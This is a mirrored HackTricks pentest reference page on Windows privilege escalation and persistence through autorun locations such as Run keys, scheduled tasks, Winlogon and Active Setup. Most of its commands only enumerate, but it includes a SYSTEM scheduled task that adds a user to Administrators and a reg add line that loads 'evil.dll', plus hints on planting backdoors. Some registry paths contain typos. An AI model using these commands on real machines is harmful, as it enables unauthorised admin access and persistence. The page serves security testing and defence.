mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
382 lines
22 KiB
Markdown
382 lines
22 KiB
Markdown
# Privilege Escalation with Autoruns
|
||
|
||
<details>
|
||
|
||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
||
</details>
|
||
|
||
{% hint style="danger" %}
|
||
<img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" data-size="original">
|
||
|
||
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
{% endhint %}
|
||
|
||
## WMIC
|
||
|
||
**Wmic** can be used to run programs on **startup**. See which binaries are programmed to run is startup with:
|
||
|
||
```bash
|
||
wmic startup get caption,command 2>nul & ^
|
||
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
||
```
|
||
|
||
## Scheduled Tasks
|
||
|
||
**Tasks** can be schedules to run with **certain frequency**. See which binaries are scheduled to run with:
|
||
|
||
```bash
|
||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
|
||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
|
||
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
|
||
|
||
#Schtask to give admin access
|
||
#You can also write that content on a bat file that is being executed by a scheduled task
|
||
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"
|
||
```
|
||
|
||
## Folders
|
||
|
||
All the binaries located in the **Startup folders are going to be executed on startup**. The common startup folders are the ones listed a continuation, but the startup folder is indicated in the registry. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
|
||
|
||
```bash
|
||
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
|
||
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
|
||
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
|
||
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
|
||
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
|
||
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
|
||
```
|
||
|
||
## Registry
|
||
|
||
{% hint style="info" %}
|
||
Note: The **Wow6432Node** registry entry indicates that you are running a 64-bit Windows version. The operating system uses this key to display a separate view of HKEY\_LOCAL\_MACHINE\SOFTWARE for 32-bit applications that run on 64-bit Windows versions.
|
||
{% endhint %}
|
||
|
||
### Runs
|
||
|
||
**Commonly known** AutoRun registry:
|
||
|
||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
|
||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
|
||
* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run`
|
||
* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce`
|
||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
|
||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
|
||
* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run`
|
||
* `HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce`
|
||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run`
|
||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
|
||
* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
|
||
|
||
Run and RunOnce registry keys cause programs to run each time that a user logs on. The data value for a key is a command line no longer than 260 characters.
|
||
|
||
**Service runs** (can control automatic startup of services during boot):
|
||
|
||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices`
|
||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices`
|
||
* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||
* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||
* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices`
|
||
* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices`
|
||
|
||
**RunOnceEx:**
|
||
|
||
* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
|
||
* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
|
||
|
||
It's not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
|
||
|
||
{% hint style="info" %}
|
||
**Exploit 1**: If you can write inside any of the mentioned registry inside **HKLM** you can escalate privileges when a different user logs in.
|
||
{% endhint %}
|
||
|
||
{% hint style="info" %}
|
||
**Exploit 2**: If you can overwrite any of the binaries indicated on any of the registry inside **HKLM** you can modify that binary with a backdoor when a different user logs in and escalate privileges.
|
||
{% endhint %}
|
||
|
||
```bash
|
||
#CMD
|
||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
|
||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
|
||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
|
||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
|
||
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
|
||
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
|
||
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE
|
||
|
||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
|
||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
|
||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
|
||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
|
||
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
|
||
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
|
||
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
|
||
reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices
|
||
|
||
reg query HKLM\Software\Microsoft\Windows\RunOnceEx
|
||
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
|
||
reg query HKCU\Software\Microsoft\Windows\RunOnceEx
|
||
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
|
||
|
||
#PowerShell
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'
|
||
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
|
||
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
|
||
```
|
||
|
||
### Startup Path
|
||
|
||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
|
||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
|
||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
|
||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
|
||
|
||
Any shortcut created to the location pointed by subkey Startup will launch the service during logon/reboot. Start up location is specified both at Local Machine and Current User.
|
||
|
||
{% hint style="info" %}
|
||
If you can overwrite any \[User] Shell Folder under **HKLM**, you will e able to point it to a folder controlled by you and place a backdoor that will be executed anytime a user logs in the system escalating privileges.
|
||
{% endhint %}
|
||
|
||
```bash
|
||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
|
||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
|
||
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
|
||
```
|
||
|
||
### Winlogon Keys
|
||
|
||
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
|
||
|
||
Usually, **Userinit** key points to userinit.exe but if this key can be altered, then that exe will also launch by Winlogon.\
|
||
**Shell** key should point to explorer.exe.
|
||
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
If you can overwrite the registry value or the binary you will be able to escalate privileges.
|
||
{% endhint %}
|
||
|
||
### Policy Settings
|
||
|
||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
|
||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
|
||
|
||
Check **Run** key.
|
||
|
||
```bash
|
||
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
|
||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
|
||
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
|
||
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
|
||
```
|
||
|
||
### AlternateShell
|
||
|
||
Path: **`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`**
|
||
|
||
Under the registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot` is the value **AlternateShell**, which by default is set to `cmd.exe` (the command prompt). When you press F8 during startup and select "Safe Mode with Command Prompt," the system uses this alternate shell.\
|
||
You can, however, create a boot option so that you don't have to press F8, then select "Safe Mode with Command Prompt."
|
||
|
||
1. Edit the boot.ini (c:\boot.ini) file attributes to make the file nonread-only, nonsystem, and nonhidden (attrib c:\boot.ini -r -s -h).
|
||
2. Open boot.ini.
|
||
3. Add a line similar to the following: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
|
||
4. Save the file.
|
||
5. Reapply the correct permissions (attrib c:\boot.ini +r +s +h).
|
||
|
||
Info from [here](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
|
||
|
||
{% hint style="info" %}
|
||
**Exploit 1:** If you can modify this registry key you can point your backdoor
|
||
{% endhint %}
|
||
|
||
{% hint style="info" %}
|
||
**Exploit 2 (PATH write permissions)**: If you have write permission on any folder of the system **PATH** before _C:\Windows\system32_ (or if you can change it) you can create a cmd.exe file and if someone initiates the machine in Safe Mode your backdoor will be executed.
|
||
{% endhint %}
|
||
|
||
{% hint style="info" %}
|
||
**Exploit 3 (PATH write permissions and boot.ini write permissions)**: If you can write boot.ini, you can automate the startup in safe mode for the next reboot.
|
||
{% endhint %}
|
||
|
||
```bash
|
||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
|
||
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
|
||
```
|
||
|
||
### Installed Component
|
||
|
||
* `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components`
|
||
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
|
||
* `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
|
||
* `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
|
||
|
||
Active Setup runs before the Desktop appears. Commands started by Active Setup run synchronously, blocking the logon while they are executing. Active Setup is executed before any Run or RunOnce registry entries are evaluated.
|
||
|
||
Inside those keys you will find more keys and each for those will home some interesting key-values. The most interesting ones are:
|
||
|
||
* **IsInstalled:**
|
||
* 0: The component’s command will not run.
|
||
* 1: The component’s command will be run once per user. This is the default (if the IsInstalled value does not exist).
|
||
* **StubPath**
|
||
* Format: Any valid command line, e.g. “notepad”
|
||
* This is the command that is executed if Active Setup determines this component needs to run during logon.
|
||
|
||
{% hint style="info" %}
|
||
If you could write/overwrite on any Key with _**IsInstalled == "1"**_ the key **StubPath**, you could point it to a backdoor and escalate privileges. Also, if you could overwrite any **binary** pointed by any **StubPath** key you could be able to escalate privileges.
|
||
{% endhint %}
|
||
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
|
||
```
|
||
|
||
### Browser Helper Objects
|
||
|
||
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
|
||
|
||
A **Browser Helper Object** (**BHO**) is a DLL module designed as a plugin for Microsoft's Internet Explorer web browser to provide added functionality. These modules are executed for each new instance of Internet Explorer and for each new instance of Windows Explorer. However, a BHO can be prevented to be executed by each instance of Explorer setting the key **NoExplorer** to 1.
|
||
|
||
BHOs are still supported as of Windows 10, through Internet Explorer 11, while BHOs are not supported in the default web browser Microsoft Edge.
|
||
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
|
||
```
|
||
|
||
Note that the registry will contain 1 new registry per each dll and it will be represented by the **CLSID**. You can find the CLSID info in `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`
|
||
|
||
### Internet Explorer Extensions
|
||
|
||
* `HKLM\Software\Microsoft\Internet Explorer\Extensions`
|
||
* `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions`
|
||
|
||
Note that the registry will contain 1 new registry per each dll and it will be represented by the **CLSID**. You can find the CLSID info in `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`
|
||
|
||
### Font Drivers
|
||
|
||
* `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers`
|
||
* `HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers`
|
||
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
|
||
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'
|
||
```
|
||
|
||
### Open Command
|
||
|
||
* `HKLM\SOFTWARE\Classes\htmlfile\shell\open\command`
|
||
* `HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command`
|
||
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
|
||
reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
|
||
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""
|
||
```
|
||
|
||
### Image File Execution Options
|
||
|
||
```
|
||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||
```
|
||
|
||
## SysInternals
|
||
|
||
Note that all the sites where you can find autoruns are **already searched by**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). However, for a **more comprehensive list of auto-executed** file you could use [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)from systinternals:
|
||
|
||
```
|
||
autorunsc.exe -m -nobanner -a * -ct /accepteula
|
||
```
|
||
|
||
## More
|
||
|
||
Find more Autoruns like registries in [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||
|
||
## References
|
||
|
||
* [https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref](https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref)
|
||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||
|
||
{% hint style="danger" %}
|
||
<img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" data-size="original">
|
||
|
||
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
{% endhint %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||
|
||
</details>
|